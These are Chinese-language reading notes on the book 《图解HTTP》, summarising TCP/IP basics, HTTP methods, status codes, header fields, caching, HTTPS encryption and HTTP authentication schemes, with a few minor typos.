《图解HTTP》阅读笔记

1. 网络基础TCP/IP

  • HTTP基于TCP/IP协议族,HTTP属于它内部的一个子集。
  • 把互联网相关联的协议集合起来总称TCP/IP。

1.1 TCP/IP分层管理

TCP/IP按层次分为:应用层,传输层,网络层和链路层。

  • 应用层:决定了向用户提供应用服务时通信的活动。
    • FTP(文件传输协议),DNS(域名系统),HTTP(超文本传输协议)
  • 传输层:提供处于网络连接中的两台计算机之间的数据传输。
    • TCP(传输控制协议),UDP(用户数据报协议)
  • 网络层(网络互联层):用来处理网络上流动的数据包。数据包是网络传输的最小单位。该层规定了通过怎样的路径到达对方计算机,并把数据包传送给对方。
  • 链路层(网络接口层):出来处理连接网络的硬件部分。


    传输流程

1.2 与HTTP关系密切的协议:IP、TCP和DNS

  • IP:将数据包传输给对方,两个重要条件:IP地址和MAC地址。
    • IP地址指明了节点被分配到到地址,MAC地址是指网卡所属固定地址。IP地址可以和MAC地址进行配对。IP地址可以变换,但MAC地址基本上不会更改。
  • ARP协议凭借MAC地址进行通信:网络上两台计算机进行通信,通常要经过多台计算机和网络设备中转才能连接到对方。在中转时,会利用下一站中转设备的MAC地址来搜索下一个中转目标。这时采用ARP(地址解析协议),根据通信放的IP可以反查出对应MAC地址。

1.3 TCP协议:将大块数据分割以报文段为单位进行数据传输。

  • 确保数据能到达目标:TCP协议采用了三次握手


    image
    • 客户端发送SYN=1(表示请求连接),并发送一个seq(随机码)
    • 服务器由于收到SYN=1,知道是请求连接,返回一个ACK=1(表示确认),并同返回一个请求连接SYN=1,然后返回一个ack=seq+1(客户端随机码应答),且自己也返回一个seq(随机码)
    • 客户端收到服务器的ack后验证,向服务器确认包发送ack=seq+1(服务器随机码应答)
    • 服务器确认ack后建立连接,完成三次握手。

1.4 域名解析系统DNS

主机名/域名(www.hackr.jp)不利于计算机解析,故计算机需要一串数字(类似20x.22.3.3)来查找服务器。

1.5 各种协议与HTTP的关系

1.7 URI和URL

  • URI:统一资源标识符。
    • Uniform:规定统一的格式可方便处理多种不同类型的资源。
    • Resource:可以被标识的任何东西(文档,图片,音乐,视频等),能够区别于其他类型的,全都可作为资源。资源不仅可以是单一的,也可以是多数的集合体。
    • Identifier:标识符。
    • 综上:URI就是由某个协议方案表示的资源的定位标识符。协议方案是指访问资源所使用的协议类型。
  • URL:统一资源定位符。(URI表示某一互联网资源,而URL表示资源的地点,可见URL是URI的子集)。
  • URI格式: 绝对URI,绝对URL,相对URL(从浏览器中基本URI处指定URL)。


    • 协议方案名:https,http等等
    • 登录信息:用于获取资源时必要的登陆信息(可选项)
    • 服务器地址:DNS可解析域名,IPv4地址,或者[0:0:0:0:0:0:0:1]这样的IPv6地址。
    • 服务器连接的网络端口号:不填则使用默认端口号(80)
    • 带层次的文件路径
    • 查询字符串
    • 片段标识符:已获取资源中的子资源

2. 简单的HTTP协议(1.1)

请求访问文本等资源的一端称为客户端,而提供资源的一端称为服务端。肯定从客户端开始建立通信,服务端在没有接收到请求之前不会发出响应。

  • 请求报文是由请求方法,请求URI,协议版本,可选的请求首部字段和内容实体构成。


  • 响应报文基本上由协议版本,状态码,解释状态码的原因短语,可选的响应首部字段以及实体主体构成。


2.1 HTTP是不保存状态的协议

协议本身不保留之前一切的请求和响应报文的信息,这是为了更快地处理大量食物,确保协议的可伸缩性,而特意把HTTP协议设计成如此简单。但是假如用户登陆了某界面,需要保存用户登陆过这个事实该怎么办?于是引入了Cookie技术。于是乎就可以管理状态了。

2.2 告知服务器意图的HTTP方法

  • GET:获取资源,如果为资源则保持原样返回,如果为程序则返回程序执行后的结果。
  • POST:传输实体主体
  • PUT:用来传输文件,要求在请求报文的主体中包含文件内容,然后保存到请求URI指定的位置。(自身不带验证机制,存在安全问题,一般不使用该方法)
  • HEAD:与GET方法类似,只是不返回报文主体部分。用于确认URI的有效性及资源更新的日期时间等。
  • DELETE:与put相反,表示删除某资源,一般不适用。
  • OPTIONS:询问支持的方法。
  • TRACE:追踪路径,将web服务器之前等请求通信环给客户端的方法。在MAX-Forwards首部字段中填入数值,每经过一个服务器段,该数字就-1,当数值刚好为0时,就停止继续传输,最后收到请求的服务器则返回状态码200 OK的响应。客户端通过TRACE方法可以查询发送出去的请求是如何被加工的。(不常用)
  • CONNECT:要求用隧道协议连接代理,实现用隧道协议进行TCP通信。(使用SSL和TLS)

2.3 持续连接节省通信量

传统每请求一次就要三次握手连接tcp四次握手断开,但是原来传输量特别小,所以影响不大,但是当下一个html可能包含n多图片,会造成过多无谓大通信量。

  • 持久连接:只要任意一段没有明确提出断开连接,则保持TCP连接。HTTP1.1默认所有连接都是持久连接。
  • 管线化:曾经是发送请求后需要等待并收到响应,才会发送下一个请求。管线化技术不用等待响应亦可直接发送下一个请求。可以让更多请求更快结束。(速度快很多)

2.4 使用Cookie的状态管理

如果让服务器管理全部客户端状态会成为负担。故引入Cookie技术解决该矛盾:Cookie会根据从服务端发送的响应报文中一个叫做set-Cookie的首部字段信息,通知客户端保存Cookie。当下次客户端再往该服务器发送请求时,客户端会自动在请求报文中加入Cookie的值发送出去。

服务器发现客户端发送过来的Cookie后,会去检查究竟是从哪一个客户端发来的连接请求,然后对比服务器上的纪录,得到最终状态信息。


3. HTTP报文内的HTTP信息

  • HTTP报文:报文首部 + 空行(CR回车符+LF换行符)+ 报文主体
  • 请求报文:请求行(请求方法+URL+版本)+请求首部字段+通用首部字段+实体首部字段+其他
  • 响应报文:状态行(状态码+原因短语+版本)+响应首部字段+通用首部字段+实体首部字段+其他
  • 可能包含HTTP的RFC里未定义的首部(Cookie等)

3.1 编码提升传输速率

  • 报文主体和实体主体的差异
    • 报文:是HTTP通信中的基本单位,由8位组字节流组成,通过HTTP通信传输。
    • 实体:作为请求或响应的有效载荷数据被传输,内容由实体首部和主体组成。
    • HTTP报文的主体用于传输请求或响应的实体主体。报文主体等于实体主体,只有编码时候才会有差异。
  • 压缩传输的内容编码:发邮件添加附件时,为了让邮件的体积变小,通常将附件进行压缩,再发送。HTTP中也有类似功能。常见的内容编码有以下几种:
    • gzip
    • compress
    • deflate
    • identity(不进行编码)
  • 分割发送:请求的编码实体资源尚未完全传输完成之前,浏览器无法显示请求页面的内容。在传输大容量数据时,通过把数据分割成多块,能够让浏览器逐步显示页面。(先分后编码再传)
  • 发送多种数据的多部分对象集合:(类似发送邮件时可以发送不同类型的文件采用了MIME多用途英特网邮件扩展),HTTP协议中也采用了多部分对象集合,发送的一份报文主体内可含有多类型实体。通常是在图片或文本文件等上传时使用。多部分对象集合包含的对象如下:
    • multipart/form-data:在web表单文件上传时使用;
    • multipart/byteranges:响应报文包含了多个范围的内容时使用。
    • 使用boundary字符串来划分多部分对象集合指明的各类实体。在boundary字符串指定的各个实体的起始行之前插入‘--’标记, 最后插入 --XXX--作为结尾。
  • 获取部分内容的范围请求,曾经加载一个尺寸稍大的图片或者文件就很吃力了,如果网络中断,必须重头开始,现在就有一种恢复机制(从中断处恢复)——指定范围发送的请求叫做范围请求。
    • 对一份10000字节大小的资源,如果使用范围请求,可以只请求5000-10000字节内多资源;
    • Range: bytes=5001-10000:5000-10000字节
    • Range: bytes=5001-:5000到最后
    • Range: bytes=-3000:最开始到3000
    • Range: bytes=-3000, 5000-7000:多重范围(响应会在首部字段Content-type标明multipart/byteranges后返回响应报文)
    • 如果无法响应范围请求,则会返回状态码200 OK和完整实体内容。
  • 内容协商返回最合适的内容(英文版或中文版内容)
    • 服务器驱动协商:以请求到首部字段为参考,在服务器端自动处理。
    • 客户端驱动协商:由客户端进行内容协商,从浏览器显示的可选项列表中手动选择(比如自行切换pc版或手机版)
    • 透明协商:服务端客户端都自行协商。

4. 返回结果的HTTP状态码

响应的状态码可描述请求的处理结果。

  • 状态码的类别:

    • 1xx:信息性状态码,接收的请求正在处理
    • 2xx:成功状态码,请求正常处理完毕
    • 3xx:重定向状态码,需要进行附加操作以完成请求
    • 4xx:客户端错误状态码:服务器无法处理请求
    • 5xx:服务器错误状态码:服务器处理请求出错
    • 只要遵守状态码类别,即使改变RFC2616中定义的状态码,或服务器自行创建状态码都没有问题。
  • 2xx 成功

    • 200 OK:客户端发来的请求在服务器端被正常处理了。
    • 204 No Content:表示服务器接收的请求已处理成功,但在返回的响应报文中不含实体的主体部分。(不允许返回任何实体主体,例:返回204时,浏览器显示的页面不发送更新。)
    • 206 Partial Content:表示客户端进行了范围请求,而服务器成功执行了这部分的GET请求。响应报文中包含Content-Range指定范围的实体内容。
  • 3xx 重定向:

    • 301 Moved Permanently:永久性重定向。请求的资源已经被分配了新的URI,以后应使用资源现在所指的URI。(保存书签,这时应该按Location首部字段提示的URI重新保存。)
    • 302 Found:临时性重定向。请求资源分配了新的URI,希望用户本次使用新的URI访问。

    301和302在选择上注意的问题: 302 重定向和网址劫持(URL hijacking) 从网址A 做一个302 重定向到网址B 时,主机服务器的隐含意思是网址A 随时有可能改主意,重新显示本身的内容或转向其他的地方。大部分的搜索引擎在大部分情况下,当收到302重定向时,一般只要去抓取目标网址就可以了,也就是说网址B。如果搜索引擎在遇到302 转向时,百分之百的都抓取目标网址B 的话,就不用担心网址URL 劫持了。问题就在于,有的时候搜索引擎,尤其是Google,并不能总是抓取目标网址。比如说,有的时候A 网址很短,但是它做了一个302重定向到B网址,而B网址是一个很长的乱七八糟的URL网址,甚至还有可能包含一些问号之类的参数。很自然的,A网址更加用户友好,而B网址既难看,又不用户友好。这时Google很有可能会仍然显示网址A。由于搜索引擎排名算法只是程序而不是人,在遇到302重定向的时候,并不能像人一样的去准确判定哪一个网址更适当,这就造成了网址URL劫持的可能性。也就是说,一个不道德的人在他自己的网址A做一个302重定向到你的网址B,出于某种原因, Google搜索结果所显示的仍然是网址A,但是所用的网页内容却是你的网址B上的内容,这种情况就叫做网址URL 劫持。你辛辛苦苦所写的内容就这样被别人偷走了。302重定向所造成的网址URL劫持现象,已经存在一段时间了。不过到目前为止,似乎也没有什么更好的解决方法。在正在进行的谷歌大爸爸数据中心转换中,302 重定向问题也是要被解决的目标之一。从一些搜索结果来看,网址劫持现象有所改善,但是并没有完全解决。

    • 303 See Other:该状态码表示请求资源存在另外一个URI,应使用GET方法定向获取请求的资源。(与302的区别在于303表明了客户端应当使用GET方法获取资源)

    当301 302 303返回时,几乎所有浏览器都会把POST改成GET,并删除请求报文主体,再次发送。虽然301和302禁止改变POST为GET,但实际上大家都会这么做。

    • 304 Not Modified:表示客户端发送附带条件的请求时(If-Match,If-Modified-Since...),服务器允许请求访问资源,但未满足条件的情况。304返回时,不包含任何响应的主体部分。
    • 307 Temporary Redirect:临时重定向。和302有相同含义,但是遵照标准,不会从POST变成GET,但是也可能出现特殊情况。
  • 4xx 客户端错误:客户端是发生错误的原因所在。

    • 400 Bad Request:请求报文中出现了语法错误。
    • 401 Unauthorized(未授权的):表示请求需要有通过HTTP认证的认证信息,若之前已经进行过一次请求则表示认证失败。返回含有401的响应必须包含一个适用于被请求资源的WWW-Authenticate首部用来质询用户信息,初次接收到401响应时,会弹出认证用多对话窗口。
    • 403 Forbidden:表示请求资源被服务器拒绝了。
    • 404 Not Found:服务器上没有请求的资源。
  • 5xx 服务器错误

    • 500 Inter Server Error:表明服务器正在执行请求时发生了错误。
    • 503 Service Unavailable:表示服务器处于超负债或正在进行停机维护,现无法处理请求。
  • 状态码和状况不一致:不少返回的状态码响应都是错误到,但是用户可能察觉不到这点。(例如:服务器错误仍返回200)

5. 与HTTP协作的Web服务器

一台Web服务器可以搭建多个独立域名到Web网站,也可以作为通信路径上的中转服务器提升传输效率。

5.1 用单台虚拟主机实现多个域名

  • HTTP/1.1允许一台HTTP服务器搭建多个Web站点。这是利用了Virtual Host功能,即时物理层面只有一台服务器,但只要使用虚拟主机的功能,则可以假想已具有多台服务器。
  • 如果一台服务器(同一个IP地址)内托管了两个域名,当收到请求时就需要弄清楚究竟要访问哪个域名。
  • 相同IP下,由于虚拟主机可以寄存多个不同主机名或域名的Web网站,因此在发送HTTP请求时,必须在Host首部内完整指定主机名或者域名的URI。

5.2 通信数据转发程序:代理、网关、隧道

这些应用程序和服务器可以将请求转发给通信线路上的下一站服务器,并且能接收从那台服务器发送的响应再转发给客户端。

  • 代理:接收客户端请求并转发给服务器,同时也接收服务器返回的想有再转发给客户端。
    • 拥有资源实体的服务器叫做源服务器。
    • 每次通过代理服务器转发请求或响应时,会追加写入Via首部信息。
    • 使用理由:利用缓存技术减少网络带宽;针对特定网站的访问控制,以获取访问日志为主要目的等。
      • 缓存代理:会将资源副本保存在代理服务器上,当代理请求再次接收到相同资源请求时,就可以不从源服务器哪里了获取资源,而是将之前缓存到资源作为响应返回。
      • 透明代理:转发请求或响应时,不对报文做任何加工的代理类型被成为透明代理。反之,非透明代理。
  • 网关:网关是转发其他服务器通信数据的服务器,接收从客户端发送来的请求时,它就像自己拥有资源的服务器一样对请求进行处理,客户端自身可能察觉不到。
    • 网关的工作机制和代理十分相似,而网关能使通信线路上的服务器提供非HTTP协议服务。
    • 利用网关能提高通信的安全性,因为可以在客户端与网关之间的通信线路上加密确保连接安全。
  • 隧道:隧道是在相隔甚远的客户端和服务器两者之间进行中转,保持双方通信连接的应用程序。
    • 可以按要求建立起一条与其他服务器的通信线路,届时使用SSL等加密手段进行通信,目的确保客户端能与服务器进行安全的通信。
    • 隧道本身不会去解析HTTP请求。

5.3 保存资源的缓存

缓存指代理服务器或客户端本地磁盘内保存的资源副本。利用缓存可减少对源服务器的访问。
  • 缓存的有效期:如果服务器资源更新,却还使用不变的缓存,会演变成返回的为旧资源。故,即使存在缓存,也会因为客户端的要求,缓存的有效期等因素,向服务器确认资源的有效性。
  • 客户端的缓存:缓存不仅仅可以缓存在服务器内,还可以存在客户端浏览器中,浏览器缓存如果有效,就不必再向服务器请求相同的资源了。如果过期,会向源服务器确认资源有效性,若失效会再次请求新资源。

6. HTTP首部

  • HTTP请求报文


  • HTTP响应报文


6.1 首部字段

  • HTTP首部字段传递重要信息:传递额外重要信息,例:主体大小,所用的语言,认证信息等。
  • 结构:
    // 首部字段名:字段值
    
    Content-Type: text/html
    
    Keep-Alive: timeout=15, max=100
    
  • 重复了会如何:根据浏览器处理不一致。可能只认第一个,可能只认最后一个。
  • 4种HTTP首部字段类型:
    • 通用首部字段:请求和响应双方都会使用。
    • 请求首部字段:包含请求时特殊要求。
    • 响应首部字段:响应的补充内容,也会要求客户端附加额外的内容。
    • 实体首部字段:针对请求报文和响应报文的实体部分使用的首部,补充了更新时间等与实体有关的信息。
  • End-to-end首部和Hop-by-hop首部:缓存代理,非缓存代理。
    • End-to-end:分类在此类别中的首部会转发给请求/响应对应的最终接收目标,且必须保存在由缓存生成的响应中,并规定必须被转发。
    • Hop-by-hop:单次转发有效,会因通过缓存或代理而不再转发。除这8个首部之外,其他都属于端到端。
    Connection
    Keep-A live
    Proxy -A uthenticate
    Proxy -A uthorization
    Trailer
    TE
    Transfer-Encoding
    Upgrade
    

6.2 HTTP/1.1 通用首部字段

  • Cache-Control:能够控制缓存的行为。



    • public:表明其他用户也可以利用缓存
    • private:表面对特定的用户提供缓存服务,其他用户发来的请求不可用。
    • no-cache:防止从缓存中返回过期的资源
      • 客户端:表示不会接收缓存过的响应。
      • 服务端:缓存服务器不能对资源进行缓存,以后也不会缓存服务器发出的资源有效性进行确认,切禁止对响应资源进行缓存操作。
    • 控制可执行缓存的对象的指令:no-store,当使用no-store指令时,暗示请求(和对应的响应)或响应中包含机密信息。因此,该指令规定缓存不能在本地存储或请求响应的任一部分。(no-cache不缓存过期资源,no-store才是真正不缓存)
    • 制定缓存期限和认证的指令
      • s-maxage:功能与max-age相同,不同在于只适用于多位用户使用的公共缓存服务器。(也就是说,对于向同一用户重复返回响应的服务器来说,该指令无效,使用之后,忽略Expires首部字段及max-age指令)
      • max-age:Cache-Control:max-age=604800(s)
        • 客户端:缓存时间数值比指定时间的数值更小,就接收缓存的资源;当指定max-age值为0,那么缓存服务器通常需要将请求转发给源服务器。(1.1优先max-age指令,1.0优先Expries)
      • min-fresh:Cache-Control:min-fresh=60(s),要求缓存服务器返回至少还未过指定时间的缓存资源。
      • max-stale=3600:即使过期,只要仍处于max-stale指定时间内,仍旧会被客户端接收。
      • only-if-cached:只要缓存,如果没有缓存返回504(Gateway Timeout)
      • must-revalidate:缓存服务器即将返回前必须确认缓存资源是否有效,忽略max-stale指令。
      • proxy-revalidate:要求服务器接收到客户端带有该指令的请求返回响应之前,必须再次校验。
      • no-transform:缓存无法改变实体主体类型(避免转码等)
      • Cache-Control扩展:Cache-Control:private, community="UCI" ,服务器不能理解就会直接忽略。
  • Connection:
    • 控制不再转发给代理的首部字段。



      Connection: 不再转发的首部字段名

    • 管理持久连接。
      • Connection:close ,结束关系。HTTP/1.1版本默认连接都是持久连接。客户端会在持久连接上连续发送请求。当服务器想明确断开连接时则指定close。
      • Connection:Keep-Alive,HTTP/1.1之前的版本默认都是非持久连接。为此想要在旧版本上持续连接,则需要制定Keep-Alive。
  • Date:表明创建HTTP报文的日期和时间。
// HTTP/1.1 
Date: Tue, 03 Jul 2012 04:40:59 GMT

// 之前
Date: Tue, 03-Jul-12 04:40:59 GMT

// asctime()
Date: Tue, Jul 03 04:40:59 2012
  • Pragma:是HTTP/1.1之前版本的历史遗留字段,仅作为与HTTP/1.0的向后兼容而定义。效果和Cache-Control:no-cache一样,但是HTTP/1.0不兼容, 故Pragma为了达到同样效果并向后兼容。
  • Trailer(预告片):事先说明报文主体后记录了哪些首部字段。


  • Transfer-Encoding:传输报文主体时采用的编码方式。(HTTP/1.1的传输编码方式仅对分块传输编码有效),Transfer-Encoding:chunked
  • Upgrade:用于检测HTTP协议及其他协议是否可以使用更高的版本进行通信,其参数值可以用来指定一个完全不同的通信协议。(效果仅限于客户端和邻斤服务器之间,因此使用Upgrade时,还需要额外指定Connection:Upgrade)。 接收到Upgrade的请求,服务器可用101 Switching Protocols状态码作为响应返回。
  • Via:使用首部字段Via是为了追踪客户端与服务器之间的请求和响应报文的传输路径。通常会和TRACE方法一起使用。比如代理服务器接收到由TRACE方法发送过来的请求(Max-Forwards: 0),代理服务器不再转发,并把自己的信息附加到Via首部后,返回请求响应。
  • Warning:由(Retry-After)演变过来的。该首部通常会告知用户一些与缓存相关的问题警告。


6.3 请求首部字段

用于客户端往服务器发送请求报文中所使用的字段,用于补充请求的附加信息,客户端信息等。

  • Accept:用户代理能够处理的媒体类型(type/subtype)及优先级:


    • 优先级: Accept: text/plain; q=0.3, text/html,q=来额外表示权重值,用分号(;)进行分隔。权重值q的范围是0-1,不指定默认q=1。
    • */ *: 通配符
  • Accept-Charest:用户支持的字符集及字符集的优先级。
  • Accept-Encoding:用户代理支持的内容编码及优先级。
    • gzip
    • compress
    • identity
    • *:通配符
  • Accept-Language:种乎代理能够处理的语言集。
  • Authorization:告知用户代理的认证信息,在接收到返回401状态码后,把首部字段Authorization加入请求中。


  • Expect:告知服务器期望出现的某种特定行为。服务器无法理解客户端的期望作出回应而发生错误时,会返回状态码417。
  • From:告知服务器使用用户代理的用户的邮箱。(搜索引擎显示负责人的联系方式,也可能记录在User-Agent里)
  • Host:虚拟主机运行在同一个ip上,首字段加以区分域名。(必须包含在请求的首部字段)服务器未设定主机名则发送空值。
  • If-xxx首部字段,条件请求,服务器接收到附加条件后,判断指定条件为真时,才会执行请求。
    • If-Match:

      只有当If-Match的字段和Etag字段匹配一致,服务器才会接受请求。(可以指定通配符)

    • If-Modified-Since:
    • If-None-Match:与Etag值不一样时处理请求
    • If-Range:

      ,如果不用If-Range也能达到效果,但是需要请求两次。

    • If-Unmodified-Since:与首部字段If-Modified-Since作用相反。
  • Max-Forwards:最大转发次数,当Max-Forwards为0时则不再进行转发,直接返回响应。用于检测客户端未知原因而造成的得不到响应。配合TRACK和OPTIONS使用。
  • Proxy-Authorization:与Authorization效果相同,不同在于质询发生在客户端和服务器之间。
  • Range:请求部分资源的范围。
  • Referer:只要查看Referer就会知道请求是从哪个web页面发起的。客户端一般都会发送Referer首部字段,但是直接在浏览器的地址栏输入URI时,出于安全性考虑时,也可以不发送该首部字段。
  • TE:告知服务器客户端能够处理响应的传输编码方式及优先级,和Accept-Encoding相似,不同在于用于传输编码。除此之外,还可以指定伴随trailer字段的分块传输编码的方式。应用后者时,只需要把trailers赋值给该字段。
  • User-Agent:传达创建请求的浏览器和用户代理名称等信息。

6.4 响应首部字段

服务器端向客户端返回响应报文中所使用的字段

  • Accept-Range:告知用户服务器是否能处理范围请求(可以:bytes/否则none)
  • Age:告诉客户端源服务器在多久前创建了响应。字段单位为秒,如果创建响应的为缓存服务器,则指缓存后的响应再次发起认证到认证完成的时间值。(代理创建响应时必须加上首部字段Age
  • Etag:告知客户端的实体标志,资源更新,Etag的值也会更新。中英文所对应的资源是不同的,资源被缓存时,就会被分配唯一性标准。
    • 强ETag:不管发生多么细微的变换,都会改变其值。
    • 弱:发生根本改变时才更改ETag值,此时会在字段最开始处附加W/。
  • Location:将响应接收方引导至某个与请求URI位置不同的资源(配合3xx一起使用,提供重定向的URI)
  • Proxy-Authenticate:会把代理服务器所要求的认真信息发送给客户端。
  • Retry-After:告诉客户端应该在多久之后再次发送请求。(配合3xx和503 Service Unavailable使用),可以指定具体日期,也可以指定多少秒后。
  • Server:告知客户端当前服务器上安装的HTTP服务器应用软件的信息(可能包括版本号,启动的可选项)
  • Vary:


    源服务器给代理服务器的首部字段,仅对请求中含有相同Vary指定首部字段的请求返回缓存。

  • WWW-Authenticate:用于HTTP访问认证,它会告知客户端适用于访问请求URI所制定资源的认证方案(Basic和Digest)和带参数提示的质询。

6.4 实体首部字段

请求和响应报文实体中所使用的首部,用于补充内容的更新时间等实体相关的信息。

  • Allow:用于通知客户端能够支持Request-URI指定资源的所有HTTP方法。当接收到不支持的HTTP方法时,会以状态码405 Method Not Allowed作为响应返回。与此同时,还会把所有能支持的HTTP方法写入Allow返回。
  • Content-Encoding:告知客户端对实体主体部分选用的内容编码方式。
  • Content-Language:告知客户端实体使用的自然语言
  • Content-Length:主体部分大小,单位是字节。
  • Content-Location:表示的是报文主体返回资源对应的URI。
  • Content-MD5:客户端会对接收的报文主体执行相同的MD5算法,然后与首部字段Content-MD5的字段值比较。
  • Content-Range:针对范围请求,返回响应时使用该字段,告知客户端作为响应返回的实体的哪个部分符合范围请求。
  • Content-Type:实体主体内对象的媒体类型,和首部字段Accept一样。
  • Expires:将资源失效的日期告知缓存服务器。接收到以后,在Expires值指定时间之前,响应的副本会一直被保存。若超过,若有请求过来,会转向源服务器请求资源。(如果源服务器不希望代理服务器缓存资源,可把Expires字段内写入与Date相同的时间值)
  • Last-Modified:指明资源最终修改的时间(一般来说为Request-URI资源修改时间,但是使用CGI脚本进行动态数据处理时,值可能会发生改变)

6.6 为Cookie服务的首部字段

将数据写入客户计算机内,接着当用户访问该Web网站时,可通过通信方式取回之前发放的Cookie。(很多标准,并非RFC6265中任何一个,而是最广泛的网景公司制定的标准上进行扩展后的产物)


  • Set-Cookie:当服务器准备开始管理客户端的状态时,会事先告知各种信息。
    • NAME=VALUE:Cookie的名称和其值(必填)
    • expires=DATE:Cookie的有效期(不明确指定则默认为浏览器关闭前位置),有效期仅限于维持浏览器会话时间段内。服务器不能显示删除Cookie,只能覆盖。
    • path=PATH:将服务器上的文件目录作为Cookie的适用对象(默认为文档所在文件目录),限制发送范围的目录(有方法绕过,不抱安全机制效果的期待)
    • domain=域名:作为Cookie适用对象的域名(默认为创建Cookie的服务器域名),结尾匹配一致。example.com,则www.example.comwww2.example.com都可以发送Cookie。
    • Secure:仅在HTTPS安全通信时才会发送Cookie,即使域名一样也只有在HTTPS情况下才发生Cookie回收。
    • HttpOnly:Cookie不能被js脚本访问。
  • Cookie:告知服务器,当客户端想获得HTTP状态管理支持时,就会在请求中包含从服务器接收到的Cooke,接收到多个Cookie时,同样可以以多个Cookie形式发送。

6.7 其他首部字段

  • X-Frame-Options: DENY: 属于HTTP响应首部,用于控制网站内容在其他Web网站的Frame标签内的显示问题。主要为了防止点击劫持攻击。
    • DENY:拒绝
    • SAMEORIGIN:仅同源域名下的页面匹配时许可。
  • X-XSS-Protection:属于响应首部,用于控制浏览器XSS防护机制的开关。
    • 0:将XSS过滤设置成无效状态
    • 1:将XSS过滤设置成有效状态
  • DNT:请求首部,Do Not Track,拒绝个人信息被收集,是表示拒绝被精确广告追踪的一种方法。
    • 0:同意
    • 1:拒绝
  • P3P(在线隐私偏好平台):响应首部,可以让Web网站上的个人隐私编程一种仅供程序可理解的形式,以达到保护用户隐私的作用。
    • 创建P3P隐私
    • 保存在/w3c/p3p.xml
    • 从P3P隐私中新建Compact policies后,输出到HTTP响应中。

7. 确保Web安全的HTTPS

7.1 HTTP缺点

  • 通信使用明文,内容可能被窃听
    • TCP/IP协议族的工作机制,导致就算被加密,加密后的信息还是会被看见。
    • 加密处理防止被窃听:
      • 通信的加密:HTTP协议中没有加密机制,但可以通过SSL(Secure Socket Layer安全套接层)或TSL(Transport Layer Security安全层传输协议)的组合使用,加密HTTP通信内容。用SSL建立安全通信线路之后,就可以在这条线路上进行HTTP通信了故称HTTPS(HTTP over Secur)。
      • 内容的加密:把报文主体进行加密(内容仍有被篡改的风险)
  • 不验证通信方身份,因此可能遭遇伪装(不能验证真正的拥有资源方和真正的提出请求方)
    • 任何人都可以发送请求


    • 查明对手的证书


  • 无法证明报文的完整性,所以有可能已遭篡改
    • 接收到的内容可能有误(A传给123给B,B收到1234,但是B无法得知这个内容是否是A发出的那个数字。)——中间人攻击。
    • 如何防止篡改:使用MD5或者SHA-1等散列值校验,以及用来确认文件的数字签名方法。需要用户本人亲自检查验证,而且即使这样也无法百分之百确保,因为PGP和MD5本身被改写的话。

7.2 HTTP+加密+认证+完整性保护=HTTPS

  • HTTPS是身披SSL外壳的HTTP


  • 相互交换密钥的公开密钥加密技术:加密算法公开,密钥是保密的。
    • 共享密钥加密的困境:加密解密用同一个密钥的方式称为共享密钥加密。


    • 使用两把密钥的公开密钥加密,使用一对非对称的密钥。一把叫做私有密钥,一把叫做公有密钥。发送密文的一方使用对方的公钥进行加密,接收方使用自己的私钥进行解密,利用这种方式,不需要发送用来解密的私有密钥。
    • HTTPS采用混合加密机制:若密钥能够实现安全交换,那么有可能会考虑仅使用公开密钥加密来,但是公开密钥加密处理速度比共享密钥要慢。故:交换密钥环节使用公开密钥加密方式,之后建立通信交换报文阶段采用共享密钥加密。
  • 证明公开密钥正确性的证书:
    • 可证明组织真实性的EV SSL证书:基于国际标准的认证指导方针颁发的证书。其严格规定了对运营组织是否真实的确认方针。
    • 用以确认客户端的客户端证书:银行安装证书,但是问题在于只能用于证明客户端实际存在,而不能用来证明用户本人的真实有效性。
    • 认证机构信誉第一
  • HTTPS的安全通信机制:
  • SSL和TLS:TSL是以SSL为原型开发的协议。
  • SSL速度慢吗:
    • 通信慢:网络负载可能会变成2到100倍
    • 运算慢:在服务器和客户端都需要进行加密和解密的运算处理。(SSL加速器分担负载)
  • 为什么不一直使用HTTPS:花销太大,仅对敏感信息使用HTTPS。

8. 确认访问用户身份的认证

某些Web页面只想让特定的人浏览

8.1 如何认证

用户提供登陆者本人才知道的信息,登陆人本人才会有的信息:

  • 密码
  • 动态令牌:本人持有的设备内显示的一次性密码
  • 数字证书:终端持有的信息
  • 生物认证:虹膜,指纹,面部识别
  • IC卡

HTTP使用的认证方式:

  • BASIC认证:基本认证
  • DIGEST认证:摘要认证
  • SSL客户端认证
  • FormBase认证(基于表单认证)

8.2 BASIC认证(HTTP/1.0):


缺点:

  • 安全等级不够
  • 一般的浏览器无法实现认证注销操作
  • 不灵活且不安全,故不经常使用

8.3 DIGEST 认证(HTTP/1.1):

同样使用质询/响应的方式,但不会像BASIC认证那样直接发送明文密码。
  • 步骤1:WWW-Authenticate包含质问响应方式认证所需单质询码。
    • 包含realm和nonce这两个字段,nonce是一种每次随返回的401响应生成的随机字符串。
  • 步骤2:Authenticate包含username,realm,nonce,uri和response的字段信息。realm和nonce是之前从服务器接收到的响应中的字段。
    • uri即Resquest-URI,但由于转发所以值会被修改,所以会事先复制一份副本保存在uri。
    • response叫做Request-Digest,放经过MD5运算后的密码字符串,形成响应码。
  • 步骤3:服务器确认认证信息的正确性,认证通过后则返回包含Request-URI资源的响应。
  • DIGEST认证和BASIC认证一样,使用上不灵活,安全级别也不够,因此使用范围受限。

8.4 SSL客户端认证:

用户ID和密码只要两者内容正确,即可认证是本人的行为。但如果用户ID和密码被盗,就很可能被第三者冒充。SSL客户端认证可以避免该情况的发生。凭客户端认证,服务器可能确认访问是否来自己登录的客户端。

  • SSL客户端认证的认证步骤:1. 服务器发送Certificate Request报文,要求客户端提供客户端证书——>2. 客户端将证书以Client Certificate报文方式发送给服务器——>3. 服务器验证客户端证书验证通过后方可领取客户端单公开密钥,开始HTTPS加密通信。
  • SSL客户端认证采用双因素认证:
    • SSL客户端证书用来认证客户端计算机
    • 密码用来确认这是本人行为
  • SSL客户端认证必要的费用:从认证机构购买客户端证书的费用,以及服务器运行者为保证自己搭建的认证机构安全运营所产生的费用。

8.5 基于表单认证:

客户端会向服务器上的web应用程序发送登录信息,按登录信息的验证结果认证。

  • 认证多半基于表单认证:DIGEST和BASIC认证几乎不使用,SSL客户端认证代价太高,尚未普及。SSH和FTP协议合乎标准并且满足安全使用级别,因此这些协议的认证可以直接拿来使用。
  • Session管理及Cookie应用:规范尚未有定论,一般会使用Cookie来管理Session会话。
  • HTTPS传输用户ID和密码等信息
